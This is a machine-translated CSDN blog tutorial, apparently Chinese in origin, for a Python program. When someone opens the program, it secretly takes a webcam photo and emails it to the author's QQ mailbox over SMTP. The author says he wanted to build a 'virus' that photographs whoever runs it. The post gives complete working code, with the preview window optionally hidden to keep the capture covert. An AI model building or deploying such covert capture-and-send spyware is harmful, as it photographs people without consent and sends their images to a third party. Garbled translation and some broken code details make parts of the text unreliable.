Pythonでメールを送信して写真を撮るための最も完全なチュートリアル

コンテンツ

こんにちは!

写真を撮る

opencvのインストール

方法1

方法2

方法3

その他の必要なモジュールのインストール

写真を撮る

コードの説明

ビデオキャプチャ

読む

書く

リリース

メールを送る

ハッピーコーディング!

 やっと


こんにちは!

子供の頃のことを今でも覚えています。将来はウイルスに感染するので、誰かがプログラムを開くとすぐにこっそり写真を撮ってメールボックスに送ってくれました。これも小さかったです。その時の私の願い。

このアイデアは、当時は基本的に実現できませんでしたが、今後実現していきます。

写真を撮る

まず、写真を撮るにはopencvライブラリが必要です

この図書館は私を何日も立ち往生させました、それはただ生き続けることができませんでした

opencvのインストール

方法1

ターミナルラン入力

pip install opencv-python

この方法はうまくいかないかもしれません、運次第です

方法2

GitHubにアクセスして手動でダウンロードします。URL:リンク

ダウンロードは「opencv-python-master」という名前のファイルで、Python環境をダウンロードしたパスに保存します

たとえば、パスはC:/home/xxxx/...../python3.6/lib/site-packageフォルダーにあります。

コンパイラーに入り(例としてpycharmを取ります)、「import cv2」と入力して、エラーが報告されているかどうかを確認します

エラーがある場合は、方法3に進みます。

エラーがなければ、おめでとうございます、インストールは成功です!

方法3

 インストールされていない場合は、PyCharmを開きます

ファイル--->設定

 次に、このページから出て、ここをクリックしてください

 上記はopencvをインストールするためのものです

その他の必要なモジュールのインストール

pip install exifread

上記のコンテンツコマンドは実行します

いくつかのモジュールもあります、あなたのモジュールは組み込まれているかもしれません、しばらくの間コードにエラーがあるならば、このテンプレートに従ってそれをインストールしてください

pip/pip3 + install + 模块名

写真を撮る

opencvができたので、写真を撮るには十分ではありませんか?

def getphoto():
    cap = cv2.VideoCapture(0)
    ret, frame = cap.read()
    cv2.imwrite('1.jpg', frame)
    #cv2.imshow("capture", frame)
    cap.release()
    cv2.destroyAllWindows()

コードの説明

このプログラムは、cv2がカメラを呼び出すためのコードです。以下に詳細な紹介を書きます。

その行をコメントアウトしたことに注意してください。コメントを削除してプログラムを実行すると、灰色のボックスが点滅します。

これはカメラが示しているものです

密かに写真を撮っていると言ったので、このコード行はコメントアウトされているので、コメントを削除して自分で効果を確認できます

ビデオキャプチャ

cv2.VideoCapture()は、ビデオの読み取りに使用され、カメラ画像の読み取りにも使用できます。

videocapture()の引数は、デバイスのインデックス番号またはビデオファイルです。デバイスのインデックス番号がノートブックの内蔵カメラの場合、パラメータは0です。1などを設定して他のカメラを選択できます。

ここで変数cap=cv2.VidevCapture(0)を設定すると、画像が変数capに保存されます。

読む

ret、frame  = cap.read()

この行は

ビデオをフレームごとに読み取ります。戻り値retはブール型であり、正しく読み取られた場合はTrueを返し、読み取りが失敗した場合やビデオの終わりが読み取られた場合はFalseを返します。フレームは各フレームの画像であり、画像は3次元マトリックス、つまりframe.shape =(640,480,3)であり、読み取られた画像はBGR形式です。

書く

関数cv2.imwrite(file、img、num)を使用して画像を保存します。最初のパラメータは保存するファイル名で、2番目のパラメータは保存する画像です。特定の形式用のオプションの3番目のパラメーター:JPEGの場合、0から100までの整数で表される画像の品質を示し、デフォルトは95です。pngの場合、3番目のパラメーターは圧縮レベルを示します。デフォルトは3です。

リリース

この機能は、リソースを解放するためのものです

カメラデバイスリソースを解放していないため、デバイスやリソースがビジーなどのエラーが発生し、 OpenCV例外が発生します

最後に、カメラの電源を切ります。これで完了です。

 

メールを送る

これは面倒ですが、風雨を経験せずに虹を見るにはどうすればよいでしょうか。

まず、QQにログインし、これをクリックしてメールボックスを開きます

 ポイント設定

 アカウントを選択

これを見つける

オフになっている場合はオンにすると、パスワードが取得されます 

このパスワードを覚えておいてください

ハッピーコーディング!

動作効果を最初に見てください

実行するとすぐにカメラにフラッシュが表示され、メールが届きました。

人がいることがわかります(コードの明るさを調整した元の画像、非常にはっきりしています。ここにコードを入力しました)

コード

import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import random
import os
import numpy as np
import cv2
import exifread

def getphoto():
    cap = cv2.VideoCapture(0)
    ret, frame = cap.read()
    cv2.imwrite('1.jpg', frame)
    cv2.imshow("capture", frame)
    cap.release()
    cv2.destroyAllWindows()


def send_email(msg_from, passwd, msg_to, text_content, file_path):
    msg = MIMEMultipart()
    subject = "有人打开程序!"  # 主题
    text = MIMEText(text_content)
    msg.attach(text)

    file_path = r'1.jpg'
    if file_path:
        docFile = file_path
        docApart = MIMEApplication(open(docFile, 'rb').read())
        docApart.add_header('Content-Disposition', 'attachment', filename=docFile)
        msg.attach(docApart)
    msg['Subject'] = subject
    msg['From'] = msg_from
    msg['To'] = msg_to
    try:
        s = smtplib.SMTP_SSL("smtp.qq.com", 465)
        s.login(msg_from, passwd)
        s.sendmail(msg_from, msg_to, msg.as_string())
    except smtplib.SMTPException as e:
        print("Error")
    finally:
        s.quit()

def read_path(file_pathname,shu):
    for filename in os.listdir(file_pathname):
        print(filename)
        img = cv2.imread(file_pathname+'/'+filename)
        image = np.power(img, shu)			# 对像素值指数变换
        cv2.imwrite(filename, image)

if __name__ == '__main__':
    getphoto()
    img = cv2.imread('1.jpg')
    # 把图片转换为单通道的灰度图
    gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    # 获取形状以及长宽
    img_shape = gray_img.shape
    height, width = img_shape[0], img_shape[1]
    size = gray_img.size
    # 灰度图的直方图
    hist = cv2.calcHist([gray_img], [0], None, [256], [0, 256])
    # 计算灰度图像素点偏离均值(128)程序
    a = 0
    ma = 0
    # np.full 构造一个数组,用指定值填充其元素
    reduce_matrix = np.full((height, width), 128)
    shift_value = gray_img - reduce_matrix
    shift_sum = np.sum(shift_value)
    da = shift_sum / size
    # 计算偏离128的平均偏差
    for i in range(256):
        ma += (abs(i - 128 - da) * hist[i])
    m = abs(ma / size)
    # 亮度系数
    k = abs(da) / m
    #print(k)
    if k[0] > 1:
        # 过亮
        if da > 0:
            read_path("1.jpg",0.8)
        else:
            read_path("1.jpg",1.2)
    fr = open("1.jpg","rb")
    imageinfo=exifread.process_file(fr)
    msg_from = '[email protected]'  # 发送方邮箱(写你的邮箱)
    passwd = 'xxxxxxxx'#这个地方写你刚才获得的密码
    msg_to = '[email protected]'#接受方邮箱(写你的邮箱)
    text_content = "有人打开了程序!"
    file_path = '1.jpg'  # 需要发送的附件目录
    send_email(msg_from, passwd, msg_to, text_content, file_path)

さて、あなたはそれを一人で取ることができます。

 やっと

ハハハハハハ!

それは一人であることができます!

私はホットリストに載ることを望んでいます、あなたが100位にいるかどうかは関係ありません、それはプレーする達成感です、ハハハハハ

さよなら!

おすすめ

転載: blog.csdn.net/m0_64036070/article/details/124130790